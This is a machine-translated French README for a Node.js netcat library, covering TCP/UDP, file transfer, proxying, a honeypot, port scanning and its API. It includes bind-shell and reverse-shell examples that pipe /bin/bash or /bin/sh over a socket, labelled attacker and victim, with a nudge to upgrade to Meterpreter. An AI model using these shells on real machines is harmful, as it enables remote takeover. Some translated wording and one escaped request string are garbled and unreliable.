netcat

netcat

Modules Client et Server NetCAT écrit en JavaScript pur pour node.js.

Modules entièrement testés qui implémentent toutes les fonctionnalités de Basic NetCAT. Pour utiliser comme outil autonome, installez le package NC.

Linux / Mac	Fenêtre

Ce que tu peux faire

• TCP et UDP
• Dérobée (coquille inversée)
• Pot de miel
• Transfert de fichiers
• Remise des portes
• Procuration
• Serveur Web
• Balayage de port

Renforcement

• Filtrez les données entrantes.
• Crypto.
• Authentification ( .auth('pass') ).
• allow et deny l'adresse IP distante spécifique.

Installer

 $ npm install --save netcat

Usage

 const NetcatServer = require ( 'netcat/server' )
const NetcatClient = require ( 'netcat/client' )
const nc = new NetcatServer ( )
const nc2 = new NetcatClient ( ) 

Exemples

L'API de ce module a tendance à suivre autant que possible les paramètres CLI de NetCAT d'origine.

Par exemple: nc -l -p 2389 est équivalent à nc.port(2389).listen() . Facile, non?

Connexion du serveur et du client

Serveur	Client
nc.port(2389).listen()	nc2.addr('127.0.0.1').port(2389).connect()

Fichier de transfert

Serveur	Client
nc.port(2389).listen().pipe(outputStream)	inputStream.pipe(nc2.port(2389).connect().stream())

ou viceversa Vous pouvez faire l'équivalent de nc -l -p 2389 < filename.txt et lorsque quelqu'un d'autre se connecte à votre port 2389, le fichier leur est envoyé, qu'il le voulait ou non:

Serveur	Client
nc.port(2389).serve('filename.txt').listen()	nc2.port(2389).connect().pipe(outputStream)

Connexion keepalive

Serveur	Client
nc.port(2389).k().listen()	inputStream.pipe(nc2.port(2389).connect().stream())

Le serveur sera maintenu en vie et ne sera pas fermé après la première connexion. ( k() est un alias pour keepalive() )

Servir le tampon brut

Serveur	Client
nc.port(2389).listen().serve(Buffer.from('Hello World'))	nc2.port(2389).connect().on('data', console.log)

Coquille de porte dérobée

Serveur	Client
nc.port(2389).listen().exec('/bin/bash')	process.stdin.pipe( nc2.addr('127.0.0.1').port(2389).connect().pipe(process.stdout).stream() )

La méthode exec() exécute la commande donnée et tuyau ensemble son stdout et stderr avec le socket des clients.

Coquille inversée

Attaquant	Victime
nc.k().port(2389).listen().serve(process.stdin).pipe(process.stdout)	nc2.addr('127.0.0.1').port(2389) .retry(5000).connect().exec('/bin/sh')

• Mise à niveau vers Meterpreter!

Netcat comme proxy

NetCAT peut être très facilement configuré en tant que serveur proxy:

 var nc = new NetcatServer ( )
var nc2 = new NetcatClient ( )
nc2 . addr ( 'google.com' ) . port ( 80 ) . connect ( )
nc . port ( 8080 ) . k ( ) . listen ( ) . proxy ( nc2 . stream ( ) )

Tout le trafic circulant sur localhost:8080 sera redirigé vers google.com:80 . De même, vous pouvez configurer un transfert de port en utilisant le même hôte.

Pot de miel

Faites semblant d'être un serveur Apache:

 var apache = `HTTP/1.1 200 OK
Date: Sat, 27 May 2017 16:51:02 GMT
Server: Apache/2.4.7 (Ubuntu)
Cache-Control: public, max-age=0
Content-Type: text/html; charset=utf-8
Content-Length: 16894
Vary: Accept-Encoding
`
var nc = new NetcatServer ( )
var logFile = fs . createWriteStream ( 'log.txt' )
nc . port ( 80 ) . k ( ) . listen ( ) . serve ( Buffer . from ( apache ) ) . pipe ( logFile ) 

Balayage de port

Le client NetCAT fournit également une fonctionnalité de balayage de port de base.

 var nc = new NetcatClient ( )
nc . addr ( '127.0.0.1' ) . scan ( '22-80' , function ( ports ) {
 // ports: { '22': 'open', '23': 'closed' ... }
} )

Le scanner de port est un protocole TCP uniquement. Le scan UDP n'est pas vraiment efficace. scan(...) accepte également un tableau ou un numéro entier.

Filtrer les données entrantes

 var nc = new NetcatServer ( )
nc . addr ( '127.0.0.1' ) . port ( 8080 ) . filter ( function ( chunk , enc , cb ) {
  // transform upper case
  var out = chunk . toString ( ) . toUpperCase ( )
  this . push ( Buffer . from ( out ) )
  cb ( null )
} ) . pipe ( process . stdout ) . connect ( ) 

Connectez-vous à un fichier de chaussettes Unix

Le serveur NetCAT et le client prennent en charge le socket Unix Conn. Utilisons notre instance client NetCAT pour se connecter au fichier de socket Docker Unix et récupérer la liste des images de nos conteneurs.

 nc2 . unixSocket ( '/var/run/docker.sock' ) . enc ( 'utf8' )
  . on ( 'data' , function ( res ) {
    console . log ( res )
  } )
  . connect ( )
  . send ( 'GET /images/json HTTP/1.0rnrn' ) 

UDP Écoutez les paquets

 var nc = new NetcatServer ( )
nc . udp ( ) . port ( 2100 ) . listen ( ) . on ( 'data' , function ( rinfo , data ) {
  console . log ( 'Got' , data . toString ( ) , 'from' , rinfo . address , rinfo . port )
  nc . close ( )
} ) 

UDP envoie un paquet

 var nc2 = new NetcatClient ( )
nc2 . udp ( ) . port ( 2100 ) . wait ( 1000 ) . init ( ) . send ( 'hello' , '127.0.0.1' )

Envoyez le tampon hello au port 2100 , puis après 1000 ms, fermez le client.

API

port(int) ou p(int)

NetCAT peut se lier à n'importe quel port local, sous réserve de restrictions de privilèges et de ports déjà utilisés.

address(host) ou addr(host)

• Lorsqu'il est utilisé côté serveur: définissez l'adresse locale pour écouter. 0.0.0.0 par défaut.
• Lorsqu'il est utilisé côté client: définissez l'adresse distante pour vous connecter. 127.0.0.1 par défaut.

listen()

Faites en sorte que le serveur UDP / TCP écoute sur le port précédemment défini.

unixSocket(path) - TCP uniquement

Facultativement, vous pouvez fournir le chemin d'accès à un fichier de chaussettes UNIX et écouter / vous connecter.

connect() - TCP uniquement

Côté client uniquement. Laissez le client se connecter à l'adresse et au port précédemment définis.

retry(ms) - TCP uniquement

Côté client uniquement. Reprenez la connexion chaque ms millisecondes lorsque la connexion est perdue.

interval(ms) ou i(ms)

Côté client uniquement: spécifie un intervalle de temps de retard pour les données envoyées. En millisecondes.

waitTime(ms) ou wait(ms)

Définir un délai d'attente.

• Un serveur attendra ms millisecondes à partir des premières données et si elle n'obtient pas plus de données, fermera la connexion.
• Un client attendra ms les millisecondes à partir des premières données envoyées et s'il n'y a plus de données à envoyer le client fermera.

stream()

Renvoie la référence du client duplexstream.

pipe(outStream)

Tuyau des données entrantes du client à l'extérieur donné.

filter(transformFn)

Filtrez les données entrantes avec la function (chunk, enc, cb){...} avant d'être canalisé.

NB : les données .on('data', cb) que vous obtenez ne sont pas filtrées. Le filtre s'applique uniquement sur le flux de tuyaux .pipe(...) .

Problème connu : through2 en ce moment ne respecte pas le codage. Si vous définissez un filtre, vous obtiendrez un tampon et la méthode enc() sera inutile.

serve()

Méthode côté serveur.

La méthode serve accepte soit une chaîne (indiquant un nom de fichier, assurez-vous que le fichier existe), un flux lisible ou un tampon. Lorsque vous passez un flux lisible, la méthode Keepalive pourrait entraîner la consommation du flux à la première demande et plus ne peut être servie (le flux n'est pas mis en cache dans un tampon).

De plus, lors du service d'un fichier ou d'un tampon sur une prise, le tuyau émettra un événement end (EOF) dans la prise. Fermer le flux.

send(data [, cb|host])

Côté client:

• Dans TCP: Envoyez des données au serveur connecté. cb est appelé une fois les données envoyées.
• Dans UDP: envoyez des données à l'adresse de destination ou à l'hôte donné si vous êtes fourni.

Côté serveur:

• Dans TCP: non disponible dans TCP, utilisez plutôt serve() .
• Dans UDP: envoyez des données à l'adresse de destination ou à l'hôte donné si vous êtes fourni.

end(data) - TCP uniquement

Méthode côté client. Envoyer des données données et fermer la connexion.

close([cb])

Fermez la connexion (ou les connexions en cas de serveur exécuté) et appelez cb une fois le socket fermé.

enc()

Réglez un encodage. Les plus courants sont: utf8 , ascii , base64 , hex , binary , hex .

protocol(prot)

Définissez un protocole personnalisé. L'utilisation de cette méthode est découragée. Utilisez plutôt les méthodes tcp() et udp() . tcp est la valeur par défaut.

keepalive() ou k() - tcp uniquement

Méthode côté serveur.

Lorsque vous définissez le keepalive, le serveur restera debout et peut-être le strestam donné au pipe(outStream) gardé ouvert.

Par défaut en mode UDP, l'écoute est maintenue en vie jusqu'à un nc.close() .

exec() - tcp uniquement

La méthode exec() exécute la commande donnée et tuyau ensemble son stdout et stderr avec le socket des clients. Il accepte éventuellement une chaîne et un tableau d'args en tant que deuxième param et les options d'apparition en troisième param. Si un charbon est trouvé | Ensuite, toutes les commandes seront traitées sous un sh -c .

Exemple:

 nc . p ( 2389 ) . exec ( 'base64' , [ '-d' ] ) . listen ( )
// OR
nc . p ( 2389 ) . exec ( 'base64 | grep hello' ) . listen ( ) 

getClients() - TCP uniquement

Méthode côté serveur. Renvoie un objet répertoriant toutes les références de socket client.

proxy(duplexStream) - TCP uniquement

Méthode côté serveur. Cette méthode tute le serveur entrant / données à venir dans le Duplexstream fourni. C'est comme un raccourci pour les deux appels: .serve(duplexStream) et .pipe(duplexStream) .

output(outStream) ou out(outStream)

Écrivez un dépotoir hexadécimal de trafic entrant ou venant vers le flux écrite donné outStream .

Une ligne représente un morceau d'au moins 16 octets par défaut.

Le premier personnage peut être respectivement < >

scan(portsInterval, cb) - TCP uniquement

Le client NetCAT fournit également une fonctionnalité de balayage de port de base.

Les paramètres sont des obligations. Le premier paramètre spécifie le port / s pour scanner. Il peut s'agir d'un seul entier, d'un intervalle de cordes (comme 22-80 ) ou d'un tableau d'entier ( [22, 23, 1880] ). Le rappel renvoie en conséquence un objet comme { '22': 'open', '23': 'closed' ... } .

init() - udp uniquement

L'équivalent UDP de connect() . Juste pour les clients UDP.

bind(<int>) - UDP uniquement

Laissez le client / serveur UDP écouter sur le port donné. Il sera également utilisé comme port à venir si .port(<n>) n'a pas été appelé.

broadcast(<dst>) ou b(<dst>) - UDP uniquement

Définissez la diffusion pour le serveur UDP (vous pouvez éventuellement spécifier une adresse de destination).

destination(<dst>) - UDP uniquement

Définir une adresse de destination. ( 127.0.0.1 est la valeur par défaut)

loopback() - UDP uniquement

Activer le bouclage. Par exemple, lorsqu'un serveur UDP est reproduit sur un port et envoie un message à ce port, il récupérera le MSG si le bouclage est activé.

bind(int) - UDP uniquement

Lisez le serveur / client UDP pour écouter sur le port donné et utiliser le port de port avec port() uniquement pour les paquets à venir.

Événements

Les modules NetCAT étendent la classe EventEmitter . Vous pourrez prendre des événements directement à partir des prises. Par exemple, l'événement data pour le serveur:

Serveur	Client
nc.port(2389).listen().on('data', onData)	inputStream.pipe(nc2.port(2389).connect().stream())

 function onData ( socket , chunk ) {
  console . log ( socket . id , 'got' , chunk ) // Buffer <...>
  socket . write ( 'hello client' ) // reply to the client
}

Événements de serveur

• .on('data', function(sock/rinfo, msg){})

Émis lorsque le serveur obtient des données des clients.

• .on('ready', cb)

Émis lorsque le serveur écoute / se lie à un port.

• .on('close', cb)

Émis lorsque le serveur ferme.

• .on('clientClose', function(socket, hadError){}) - TCP uniquement

Appelé lorsqu'un client se déconnecte du serveur. Le rappel accepte comme 1ème paramètre L'instance socket vient de déconnecter et un bobo-val- hadError .

• .on('connection', function(socket){}) - tcp uniquement

Émis lorsqu'un nouveau client se connecte au serveur.

• .on('end', function(socket){}) - tcp uniquement

Émis lorsqu'un client termine la connexion.

• .on('timeout', function(socket){}) - TCP uniquement

Événement de délai d'expiration du socket.

• .on('waitTimeout', cb)

Tiré lorsque le serveur reste inactif pour un temps d' wait(ms) spécifié.

• .on('error', function(err){})

Émis sur l'erreur.

Événements clients

• .on('data', function(msg){})

Données du serveur.

• .on('close', cb)

Émis lorsque le client ferme.

• .on('waitTimeout', cb)

Tiré lorsque le client reste inactif pour un temps d' wait(ms) spécifié.

• .on('connect', cb) - TCP uniquement

Émis lorsque le client a établi une connexion avec un serveur.

• .on('error', function(err){})

Émis sur l'erreur.

Utilisation de la CLI

Pour l'utilisation autonome, installez le package NC CLI:

 $ npm install -g nc

Exemple:

 $ # Listen for inbound
$ nc -l -p port [- options] [hostname] [port]

Options disponibles:

• -c shell commands as '-e'; use /bin/sh to exec [dangerous!!]
• -e filename program to exec after connect [dangerous!!]
• -b allow broadcasts
• -i secs delay interval for lines sent, ports scanned (client-side)
• -h this cruft
• -k set keepalive option on socket
• -l listen mode, for inbound connects
• -n numeric-only IP addresses, no DNS
• -o file hex dump of traffic
• -p port local port number
• -r randomize local and remote ports
• -q secs quit after EOF on stdin and delay of secs
• -s addr local source address
• -u UDP mode
• -U Listen or connect to a UNIX domain socket
• -v verbose
• -w secs timeout for connects and final net reads
• -z zero-I/O mode [used for scanning]

DÉBOGUER

Debug correspond au mode verbeux. Vous pouvez l'activer avec le verbose: true param ou le DEBUG=netcat:*

Tests

Exécutez-les avec: npm test

Couverture:

• Testez la méthode .serve(input)
• Teste la connexion keepalive avec .pipe() et serve() .
• Service peut accepter à la fois une chaîne ou un flux.
• méthode exec()
• Coquille de porte dérobée
• Serveur proxy
• Udp.

Auteur

Rocco Musolino (@roccomuso)

Licence

Mit